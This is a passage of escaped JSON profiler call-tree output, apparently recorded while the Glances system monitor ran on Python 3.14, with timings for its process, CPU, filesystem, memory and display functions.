0.002012,\"attributes\": {\"l180\": 0.002012338001804892},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.002012,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002012,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"remove_non_running_procs\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000676\",\"time\": 0.002101,\"attributes\": {\"cGlancesProcesses\": 0.0021014730009483173, \"l679\": 0.0021014730009483173},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002101,\"attributes\": {},\"children\": []}]},{\"identifier\": \"update_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000683\",\"time\": 0.001886,\"attributes\": {\"cGlancesProcesses\": 0.0018858760013245046, \"l689\": 0.0018858760013245046},\"children\": [{\"identifier\": \"list_of_namedtuple_to_list_of_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000587\",\"time\": 0.001886,\"attributes\": {\"l589\": 0.0018858760013245046},\"children\": [{\"identifier\": \"namedtuple_to_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000582\",\"time\": 0.001886,\"attributes\": {\"l584\": 0.0018858760013245046},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001886,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000148\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.0020009309955639765, \"l155\": 0.0020009309955639765},\"children\": [{\"identifier\": \"get_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000704\",\"time\": 0.002001,\"attributes\": {\"cGlancesProcesses\": 0.0020009309955639765, \"l711\": 0.0020009309955639765},\"children\": [{\"identifier\": \"processes_to_programs\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000062\",\"time\": 0.002001,\"attributes\": {\"l71\": 0.0020009309955639765},\"children\": [{\"identifier\": \"update_program_dict\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000040\",\"time\": 0.002001,\"attributes\": {\"l46\": 0.0020009309955639765},\"children\": [{\"identifier\": \"__add__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/collections/__init__.py\\u0000833\",\"time\": 0.002001,\"attributes\": {\"cCounter\": 0.0020009309955639765, \"l847\": 0.0020009309955639765},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.007998,\"attributes\": {\"cProgramlistPlugin\": 0.007997848006198183, \"l678\": 0.0059997750067850575, \"l677\": 0.0019980729994131252},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.004000,\"attributes\": {\"cProgramlistPlugin\": 0.003999710002972279, \"l634\": 0.003999710002972279},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.001997,\"attributes\": {\"cProgramlistPlugin\": 0.001997248997213319, \"l628\": 0.001997248997213319},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"listkeys\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000131\",\"time\": 0.001998,\"attributes\": {\"l132\": 0.0019980729994131252},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.012229,\"attributes\": {\"cPercpuPlugin\": 0.002001707995077595, \"l1278\": 0.012229470994498115, \"cSystemPlugin\": 0.01022776299942052},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.012229,\"attributes\": {\"l1295\": 0.012229470994498115},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/percpu/__init__.py\\u0000127\",\"time\": 0.002002,\"attributes\": {\"cPercpuPlugin\": 0.002001707995077595, \"l133\": 0.002001707995077595},\"children\": [{\"identifier\": \"get_percpu\\u0000/home/nicolargo/dev/glances/glances/cpu_percent.py\\u0000308\",\"time\": 0.002002,\"attributes\": {\"cCpuPercent\": 0.002001707995077595, \"l315\": 0.002001707995077595},\"children\": [{\"identifier\": \"_compute_percpu\\u0000/home/nicolargo/dev/glances/glances/cpu_percent.py\\u0000318\",\"time\": 0.002002,\"attributes\": {\"cCpuPercent\": 0.002001707995077595, \"l319\": 0.002001707995077595},\"children\": [{\"identifier\": \"cpu_times_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001871\",\"time\": 0.002002,\"attributes\": {\"l1926\": 0.002001707995077595},\"children\": [{\"identifier\": \"calculate\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001890\",\"time\": 0.002002,\"attributes\": {\"l1893\": 0.002001707995077595},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/system/__init__.py\\u0000199\",\"time\": 0.010228,\"attributes\": {\"cSystemPlugin\": 0.01022776299942052, \"l211\": 0.01022776299942052},\"children\": [{\"identifier\": \"get_stats_from_std_sys_lib\\u0000/home/nicolargo/dev/glances/glances/plugins/system/__init__.py\\u0000182\",\"time\": 0.010228,\"attributes\": {\"cSystemPlugin\": 0.01022776299942052, \"l185\": 0.01022776299942052},\"children\": [{\"identifier\": \"architecture\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/platform.py\\u0000776\",\"time\": 0.010228,\"attributes\": {\"l806\": 0.01022776299942052},\"children\": [{\"identifier\": \"_syscmd_file\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/platform.py\\u0000732\",\"time\": 0.010228,\"attributes\": {\"l755\": 0.01022776299942052},\"children\": [{\"identifier\": \"check_output\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/subprocess.py\\u0000423\",\"time\": 0.010228,\"attributes\": {\"l472\": 0.01022776299942052},\"children\": [{\"identifier\": \"run\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/subprocess.py\\u0000512\",\"time\": 0.010228,\"attributes\": {\"l556\": 0.01022776299942052},\"children\": [{\"identifier\": \"communicate\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/subprocess.py\\u00001176\",\"time\": 0.010228,\"attributes\": {\"cPopen\": 0.01022776299942052, \"l1207\": 0.01022776299942052},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.010228,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.010228,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000242\",\"time\": 0.002257,\"attributes\": {\"cProcesslistPlugin\": 0.002257012005429715, \"l260\": 0.002257012005429715},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002257,\"attributes\": {},\"children\": []}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.009618,\"attributes\": {\"cProcesslistPlugin\": 0.009617739997338504, \"l678\": 0.009617739997338504},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.009618,\"attributes\": {\"cProcesslistPlugin\": 0.009617739997338504, \"l656\": 0.00361775799683528, \"l634\": 0.0020001609955215827, \"l633\": 0.003999821004981641},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001601,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.004000,\"attributes\": {\"cProcesslistPlugin\": 0.003999821004981641, \"l614\": 0.0019981970035587437, \"l621\": 0.002001624001422897},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002017,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/sensors/__init__.py\\u0000216\",\"time\": 0.002001,\"attributes\": {\"cSensorsPlugin\": 0.002000972999667283, \"l219\": 0.002000972999667283},\"children\": [{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.002001,\"attributes\": {\"cSensorsPlugin\": 0.002000972999667283, \"l678\": 0.002000972999667283},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.002001,\"attributes\": {\"cSensorsPlugin\": 0.002000972999667283, \"l633\": 0.002000972999667283},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.002001,\"attributes\": {\"cSensorsPlugin\": 0.002000972999667283, \"l621\": 0.002000972999667283},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.020991,\"attributes\": {\"cFsPlugin\": 0.017519097003969364, \"l1278\": 0.020990591001464054, \"cWifiPlugin\": 0.0016670689947204664, \"cMemPlugin\": 0.0018044250027742237},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.020991,\"attributes\": {\"l1295\": 0.020990591001464054},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000125\",\"time\": 0.017519,\"attributes\": {\"cFsPlugin\": 0.017519097003969364, \"l131\": 0.017519097003969364},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000152\",\"time\": 0.017519,\"attributes\": {\"cFsPlugin\": 0.017519097003969364, \"l182\": 0.017519097003969364},\"children\": [{\"identifier\": \"wraps\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000618\",\"time\": 0.017519,\"attributes\": {\"l630\": 0.005067496000265237, \"l631\": 0.012451601003704127},\"children\": [{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.003172,\"attributes\": {\"cForkProcess\": 0.0031719769976916723, \"l121\": 0.0031719769976916723},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.003172,\"attributes\": {\"l281\": 0.0031719769976916723},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.003172,\"attributes\": {\"cPopen\": 0.0031719769976916723, \"l20\": 0.0031719769976916723},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.003172,\"attributes\": {\"cPopen\": 0.0031719769976916723, \"l70\": 0.0031719769976916723},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.003172,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.007870,\"attributes\": {\"cForkProcess\": 0.007869891000154894, \"l156\": 0.007869891000154894},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.007870,\"attributes\": {\"cPopen\": 0.007869891000154894, \"l41\": 0.007869891000154894},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.007870,\"attributes\": {\"l1165\": 0.007869891000154894},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.007870,\"attributes\": {\"cPollSelector\": 0.007869891000154894, \"l398\": 0.007869891000154894},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.007870,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.007870,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.001896,\"attributes\": {\"cForkProcess\": 0.0018955190025735646, \"l121\": 0.0018955190025735646},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.001896,\"attributes\": {\"l281\": 0.0018955190025735646},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.001896,\"attributes\": {\"cPopen\": 0.0018955190025735646, \"l20\": 0.0018955190025735646},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.001896,\"attributes\": {\"cPopen\": 0.0018955190025735646, \"l70\": 0.0018955190025735646},\"children\": [{\"identifier\": \"fork\\u0000<built-in>\\u00000\",\"time\": 0.001896,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001896,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.004582,\"attributes\": {\"cForkProcess\": 0.004581710003549233, \"l156\": 0.004581710003549233},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.004582,\"attributes\": {\"cPopen\": 0.004581710003549233, \"l41\": 0.004581710003549233},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.004582,\"attributes\": {\"l1165\": 0.004581710003549233},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.004582,\"attributes\": {\"cPollSelector\": 0.004581710003549233, \"l398\": 0.004581710003549233},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.004582,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.004582,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/wifi/__init__.py\\u000083\",\"time\": 0.001667,\"attributes\": {\"cWifiPlugin\": 0.0016670689947204664, \"l101\": 0.0016670689947204664},\"children\": [{\"identifier\": \"_get_wireless_stats\\u0000/home/nicolargo/dev/glances/glances/plugins/wifi/__init__.py\\u0000114\",\"time\": 0.001667,\"attributes\": {\"cWifiPlugin\": 0.0016670689947204664, \"l119\": 0.0016670689947204664},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001667,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001377\",\"time\": 0.001804,\"attributes\": {\"cMemPlugin\": 0.0018044250027742237, \"l1379\": 0.0018044250027742237},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/mem/__init__.py\\u0000253\",\"time\": 0.001804,\"attributes\": {\"cMemPlugin\": 0.0018044250027742237, \"l261\": 0.0018044250027742237},\"children\": [{\"identifier\": \"_update_for_local\\u0000/home/nicolargo/dev/glances/glances/plugins/mem/__init__.py\\u0000139\",\"time\": 0.001804,\"attributes\": {\"cMemPlugin\": 0.0018044250027742237, \"l183\": 0.0018044250027742237},\"children\": [{\"identifier\": \"zfs_stats\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/zfs.py\\u000021\",\"time\": 0.001804,\"attributes\": {\"l30\": 0.0018044250027742237},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001804,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001138\",\"time\": 2.078398,\"attributes\": {\"cGlancesCursesStandalone\": 2.0783981869972195, \"l1154\": 0.06690723599604098, \"l1169\": 1.0069136710008024, \"l1172\": 1.004577280000376},\"children\": [{\"identifier\": \"flush\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001124\",\"time\": 0.066907,\"attributes\": {\"cGlancesCursesStandalone\": 0.06690723599604098, \"l1135\": 0.06690723599604098},\"children\": [{\"identifier\": \"display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000549\",\"time\": 0.066907,\"attributes\": {\"cGlancesCursesStandalone\": 0.06690723599604098, \"l569\": 0.06490784000197891, \"l598\": 0.00199939599406207},\"children\": [{\"identifier\": \"__get_stat_display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000514\",\"time\": 0.064908,\"attributes\": {\"cGlancesCursesStandalone\": 0.06490784000197891, \"l545\": 0.06490784000197891},\"children\": [{\"identifier\": \"get_stats_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001082\",\"time\": 0.064908,\"attributes\": {\"cAlertPlugin\": 0.002001028995437082, \"l1101\": 0.06490784000197891, \"cProgramlistPlugin\": 0.021999425000103656, \"cProcesslistPlugin\": 0.04090738600643817},\"children\": [{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/alert/__init__.py\\u0000201\",\"time\": 0.002001,\"attributes\": {\"cAlertPlugin\": 0.002001028995437082, \"l210\": 0.002001028995437082},\"children\": [{\"identifier\": \"loop_over_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/alert/__init__.py\\u0000189\",\"time\": 0.002001,\"attributes\": {\"cAlertPlugin\": 0.002001028995437082, \"l199\": 0.002001028995437082},\"children\": [{\"identifier\": \"<lambda>\\u0000/home/nicolargo/dev/glances/glances/plugins/alert/__init__.py\\u0000199\",\"time\": 0.002001,\"attributes\": {\"l199\": 0.002001028995437082},\"children\": [{\"identifier\": \"add_start_time\\u0000/home/nicolargo/dev/glances/glances/plugins/alert/__init__.py\\u0000141\",\"time\": 0.002001,\"attributes\": {\"cAlertPlugin\": 0.002001028995437082, \"l144\": 0.002001028995437082},\"children\": [{\"identifier\": \"datetime.strftime\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000556\",\"time\": 0.062907,\"attributes\": {\"cProgramlistPlugin\": 0.021999425000103656, \"l587\": 0.06091078400640981, \"cProcesslistPlugin\": 0.04090738600643817, \"l566\": 0.001996027000132017},\"children\": [{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.021999,\"attributes\": {\"cProgramlistPlugin\": 0.021999425000103656, \"l538\": 0.021999425000103656},\"children\": [{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002001124004891608, \"l440\": 0.002001124004891608},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.001905,\"attributes\": {\"cProgramlistPlugin\": 0.0019050219998462126, \"l405\": 0.0019050219998462126},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.001905,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001905,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002088,\"attributes\": {\"cProgramlistPlugin\": 0.002088189998175949, \"l309\": 0.002088189998175949},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002088,\"attributes\": {\"cProgramlistPlugin\": 0.002088189998175949, \"l882\": 0.002088189998175949},\"children\": [{\"identifier\": \"manage_threshold\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000900\",\"time\": 0.002088,\"attributes\": {\"cProgramlistPlugin\": 0.002088189998175949, \"l902\": 0.002088189998175949},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002088,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002002,\"attributes\": {\"cProgramlistPlugin\": 0.0020019910007249564, \"l361\": 0.0020019910007249564},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.002002,\"attributes\": {\"cProgramlistPlugin\": 0.0020019910007249564, \"l350\": 0.0020019910007249564},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.002002,\"attributes\": {\"cProgramlistPlugin\": 0.0020019910007249564, \"l1251\": 0.0020019910007249564},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.002002,\"attributes\": {\"l478\": 0.0020019910007249564},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.004000,\"attributes\": {\"cProgramlistPlugin\": 0.00399995400221087, \"l397\": 0.0019975769973825663, \"l409\": 0.002002377004828304},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.003992,\"attributes\": {\"cProgramlistPlugin\": 0.003992108999227639, \"l440\": 0.003992108999227639},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.001909,\"attributes\": {\"cProgramlistPlugin\": 0.0019092500006081536, \"l290\": 0.0019092500006081536},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001909,\"attributes\": {\"cProgramlistPlugin\": 0.0019092500006081536, \"l963\": 0.0019092500006081536},\"children\": [{\"identifier\": \"str.lower\\u0000<built-in>\\u00000\",\"time\": 0.001909,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001909,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002083,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002007,\"attributes\": {\"cProgramlistPlugin\": 0.0020067309960722923, \"l325\": 0.0020067309960722923},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002007,\"attributes\": {\"cProgramlistPlugin\": 0.0020067309960722923, \"l885\": 0.0020067309960722923},\"children\": [{\"identifier\": \"manage_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000904\",\"time\": 0.002007,\"attributes\": {\"cProgramlistPlugin\": 0.0020067309960722923, \"l907\": 0.0020067309960722923},\"children\": [{\"identifier\": \"get_limit_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000971\",\"time\": 0.002007,\"attributes\": {\"cProgramlistPlugin\": 0.0020067309960722923, \"l991\": 0.0020067309960722923},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002007,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.004004,\"attributes\": {\"cProgramlistPlugin\": 0.0040043039989541285, \"l361\": 0.0040043039989541285},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.004004,\"attributes\": {\"cProgramlistPlugin\": 0.0040043039989541285, \"l350\": 0.0040043039989541285},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002009,\"attributes\": {},\"children\": []},{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.001995,\"attributes\": {\"cProgramlistPlugin\": 0.00199484899349045, \"l1251\": 0.00199484899349045},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"sort_stats\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000800\",\"time\": 0.001996,\"attributes\": {\"l824\": 0.001996027000132017},\"children\": [{\"identifier\": \"<lambda>\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000773\",\"time\": 0.001996,\"attributes\": {\"l773\": 0.001996027000132017},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.001996,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.038911,\"attributes\": {\"cProcesslistPlugin\": 0.038911359006306157, \"l538\": 0.03750095701252576, \"l544\": 0.0014104019937803969},\"children\": [{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019989640059066005, \"l429\": 0.0019989640059066005},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019989640059066005, \"l276\": 0.0019989640059066005},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019989640059066005, \"l963\": 0.0019989640059066005},\"children\": [{\"identifier\": \"str.lower\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": 